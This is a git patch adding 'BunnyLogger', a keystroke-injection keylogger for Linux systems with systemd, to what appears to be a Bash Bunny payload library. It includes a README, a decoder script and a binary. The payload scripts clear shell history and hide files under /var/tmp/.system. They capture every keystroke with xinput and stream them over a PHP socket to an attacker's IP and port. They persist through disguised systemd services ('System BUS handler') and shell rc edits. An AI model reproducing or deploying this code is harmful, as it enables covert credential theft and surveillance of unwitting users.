From ed25a7bfb4f57ff3a1e084ab55115f558ac0ccc6 Mon Sep 17 00:00:00 2001 From: drapl0n Date: Sat, 5 Mar 2022 23:11:49 +0530 Subject: [PATCH] Uploaded BunnyLogger --- .../library/credentials/BunnyLogger/README.md | 62 ++++++++++++++++++ .../BunnyLogger/bunnyLoggerDecoder | 50 ++++++++++++++ .../credentials/BunnyLogger/payload.sh | 24 +++++++ .../credentials/BunnyLogger/payload.txt | 56 ++++++++++++++++ .../library/credentials/BunnyLogger/xinput | Bin 0 -> 60768 bytes 5 files changed, 192 insertions(+) create mode 100644 payloads/library/credentials/BunnyLogger/README.md create mode 100644 payloads/library/credentials/BunnyLogger/bunnyLoggerDecoder create mode 100644 payloads/library/credentials/BunnyLogger/payload.sh create mode 100644 payloads/library/credentials/BunnyLogger/payload.txt create mode 100644 payloads/library/credentials/BunnyLogger/xinput diff --git a/payloads/library/credentials/BunnyLogger/README.md b/payloads/library/credentials/BunnyLogger/README.md new file mode 100644 index 00000000..7c19270f --- /dev/null +++ b/payloads/library/credentials/BunnyLogger/README.md @@ -0,0 +1,62 @@ +## About: +* Title: BunnyLogger +* Description: Key logger which sends each and every key stroke of target remotely/locally. +* AUTHOR: drapl0n +* Version: 1.0 +* Category: Credentials +* Target: Unix-like operating systems with systemd. +* Attackmodes: HID, Storage + +## BunnyLogger: BunnyLogger is a Key Logger which captures every key stroke of traget and send them to attacker. + +### Features: +* Live keystroke capturing. +* Detailed key logs. +* Persistent +* Autostart payload on boot. + +### Workflow: +* Encoding payload and injecting on target's system. +* Checks whether internet is connected to the target system. +* If internet is connected then it sends raw keystrokes to attacker. +* Attacker processes raw keystrokes. + +### Changes to be made in payload.sh: +* Replace ip(0.0.0.0) and port number(4444) with your servers ip address and port number on line no `11`. +* Increase/Decrease time interval to restart service periodically (Default is 15 mins), on line no `15`. + +### LED Status: +* `SETUP` : MAGENTA +* `ATTACK` : YELLOW +* `FINISH` : GREEN + +### Directory Structure of payload components: +| FileName | Directory | +| -------------- | ----------------------------- | +| payload.txt | /payload/switch1/ | +| payload.sh | /payload/ | +| xinput | /tools/ | + +### Usage: +1. Encode payload.txt and inject into target's system. +2. Start netcat listner on attacking system: + +* `nc -lvp > ` use this command to create new logfile with raw keystrokes. +* `nc -lvp >> ` use this command to append raw keystrokes to existing logfile. +3. Process raw keystrokes using BunnyLoggerDecoder utility: +``` +./bunnyLoggerDecoder +bunnyLoggerDecoder is used to decode raw key strokes acquired by bunnyLogger. + +Usage: +Decode captured log: [./bunnyLoggerDecoder -f -m -o ] + +Options: +-f Specify Log file. +-m Select Mode(normal|informative) +-o Specify Output file. +-h For this banner. +``` + +#### Support me if you like my work: +* https://twitter.com/drapl0n diff --git a/payloads/library/credentials/BunnyLogger/bunnyLoggerDecoder b/payloads/library/credentials/BunnyLogger/bunnyLoggerDecoder new file mode 100644 index 00000000..c4aa994d --- /dev/null +++ b/payloads/library/credentials/BunnyLogger/bunnyLoggerDecoder @@ -0,0 +1,50 @@ +usage () { + echo -e "BunnyLoggerDecoder is used to decode raw key strokes acquired by BunnyLogger.\n" + echo -e "Usage: \nDecode captured log:\t[./bunnyLoggerDecoder -f -m -o ]"; + echo -e "\nOptions:" + echo -e "-f\tSpecify Log file." + echo -e "-m\tSelect Mode(normal|informative)" + echo -e "-o\tSpecify Output file." + echo -e "-h\tFor this banner." +} +while getopts o:m:f:h: flag +do + case "${flag}" in + o) output=$OPTARG ;; + m) mode=$OPTARG ;; + f) filename=$OPTARG ;; + h) help=$OPTARG ;; + *) + usage + exit 1 + esac +done + +if [ -z "$output" ] && [ -z "$filename" ]; then + usage + exit 1 +fi +if [ -z "$filename" ]; then + echo -e "BunnyLoggerDecoder: Missing option \"-f\"(Log file not specified).\nUse \"-h\" for more information." >&2 + exit 1 +fi +if [ -z "$output" ]; then + echo -e "BunnyLoggerDecoder: Missing option \"-o\"(Output file not specified).\nUse \"-h\" for help." >&2 + exit 1 +fi +if [ -z "$mode" ]; then + echo -e "BunnyLoggerDecoder: Missing option \"-m\"(Mode not specified).\nUse \"-h\" for help." >&2 + exit 1 +fi +if [ "$mode" != "informative" ] && [ "$mode" != "normal" ]; then + echo -e "BunnyLoggerDecoder: Invalid mode \"$mode\".\nUse \"-h\" for help." >&2 + exit 1 +fi +if [ "$mode" == "normal" ] ; then + awk 'BEGIN{while (("xmodmap -pke" | getline) > 0) k[$2]=$4} {print $0 "[" k [$NF] "]"}' $filename | grep press | awk '{print $4}' > $output + exit 1 +fi +if [ "$mode" == "informative" ] ; then + awk 'BEGIN{while (("xmodmap -pke" | getline) > 0) k[$2]=$4} {print $0 "[" k [$NF] "]"}' $filename > $output + exit 1 +fi diff --git a/payloads/library/credentials/BunnyLogger/payload.sh b/payloads/library/credentials/BunnyLogger/payload.sh new file mode 100644 index 00000000..90d1ea36 --- /dev/null +++ b/payloads/library/credentials/BunnyLogger/payload.sh @@ -0,0 +1,24 @@ +#!/bin/bash +unset HISTFILE && HISTSIZE=0 && rm -f $HISTFILE && unset HISTFILE +mkdir /var/tmp/.system +lol=$(lsblk | grep 1.8G) +disk=$(echo $lol | awk '{print $1}') +mntt=$(lsblk | grep $disk | awk '{print $7}') +cp -r $mntt/tools/xinput /var/tmp/.system/ +echo "/var/tmp/.system/./xinput list | grep -Po 'id=\K\d+(?=.*slave\s*keyboard)' | xargs -P0 -n1 /var/tmp/.system/./xinput test" > /var/tmp/.system/sys +chmod +x /var/tmp/.system/sys +chmod +x /var/tmp/.system/xinput +echo -e "while :\ndo\n\tping -c 5 0.0.0.0\n\tif [ $? -eq 0 ]; then\n\t\tphp -r '\$sock=fsockopen(\"0.0.0.0\",4444);exec("\"/var/tmp/.system/sys -i "<&3 >&3 2>&3"\"");'\n\tfi\ndone" > /var/tmp/.system/systemBus +chmod +x /var/tmp/.system/systemBus +mkdir -p ~/.config/systemd/user +echo -e "[Unit]\nDescription= System BUS handler\n\n[Service]\nExecStart=/bin/bash /var/tmp/.system/systemBus -no-browser\nRestart=on-failure\nSuccessExitStatus=3 4\nRestartForceExitStatus=3 4\n\n[Install]\nWantedBy=multi-user.target" > ~/.config/systemd/user/systemBUS.service +echo "while true; do systemctl --user restart systemBUS.service; sleep 15m; done" > /var/tmp/.system/reboot +chmod +x /var/tmp/.system/reboot +echo -e "[Unit]\nDescription= System BUS handler reboot.\n\n[Service]\nExecStart=/bin/bash /var/tmp/.system/reboot -no-browser\nRestart=on-failure\nSuccessExitStatus=3 4\nRestartForceExitStatus=3 4\n\n[Install]\nWantedBy=multi-user.target" > ~/.config/systemd/user/reboot.service +systemctl --user daemon-reload +systemctl --user enable --now systemBUS.service +systemctl --user start --now systemBUS.service +systemctl --user enable --now reboot.service +systemctl --user start --now reboot.service +echo -e "ls -a | grep 'zshrc' &> /dev/null\nif [ \$? = 0 ]; then\n\techo \"systemctl --user enable --now reboot.service && systemctl --user enable --now systemBUS.service\" >> ~/.zshrc\nfi\n\nls -a | grep 'bashrc' &> /dev/null\nif [ \$? = 0 ]; then\n\techo \"systemctl --user enable --now reboot.service && systemctl --user enable --now systemBUS.service\" >> ~/.bashrc\nfi" > ~/tmmmp +chmod +x ~/tmmmp && cd ~/ && ./tmmmp && rm tmmmp && exit diff --git a/payloads/library/credentials/BunnyLogger/payload.txt b/payloads/library/credentials/BunnyLogger/payload.txt new file mode 100644 index 00000000..f9c67969 --- /dev/null +++ b/payloads/library/credentials/BunnyLogger/payload.txt @@ -0,0 +1,56 @@ +# Title: BunnyLogger +# Description: Key logger which sends each and every key stroke of target remotely/locally. +# AUTHOR: drapl0n +# Version: 1.0 +# Category: Credentials +# Target: Unix-like operating systems with systemd. +# Attackmodes: HID, Storage + +LED SETUP +ATTACKMODE STORAGE HID +GET SWITCH_POSITION +LED ATTACK +Q DELAY 1000 +Q CTRL-ALT t +Q DELAY 1000 + +# [Prevent storing history] +Q STRING unset HISTFILE +Q ENTER +Q DELAY 200 + +# [Fetching BashBunny's block device] +Q STRING lol='$(lsblk | grep 1.8G)' +Q ENTER +Q DELAY 100 +Q STRING disk='$(echo $lol | awk '\'{print\ '$1'}\'\)'' +Q ENTER +Q DELAY 200 + +# [Mounting BashBunny] +Q STRING udisksctl mount -b /dev/'$disk' /tmp/tmppp +Q ENTER +Q DELAY 2000 +Q STRING mntt='$(lsblk | grep $disk | awk '\'{print\ '$7'}\'\)'' +Q ENTER +Q DELAY 500 + +# [transfering payload script] +Q STRING cp -r '$mntt'/payloads/payload.sh /tmp/ +Q ENTER +Q STRING chmod +x /tmp/payload.sh +Q ENTER +Q STRING /tmp/./payload.sh +Q ENTER +Q DELAY 2000 +Q STRING rm /tmp/payload.sh +Q ENTER +Q DELAY 500 + +# [Unmounting BashBunny] +Q STRING udisksctl unmount -b /dev/'$disk' +Q ENTER +Q DELAY 500 +Q STRING exit +Q ENTER +LED FINISH diff --git a/payloads/library/credentials/BunnyLogger/xinput b/payloads/library/credentials/BunnyLogger/xinput new file mode 100644 index 0000000000000000000000000000000000000000..b9a549880f323010103c5fc2770f3968e336d81c GIT binary patch literal 60768 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 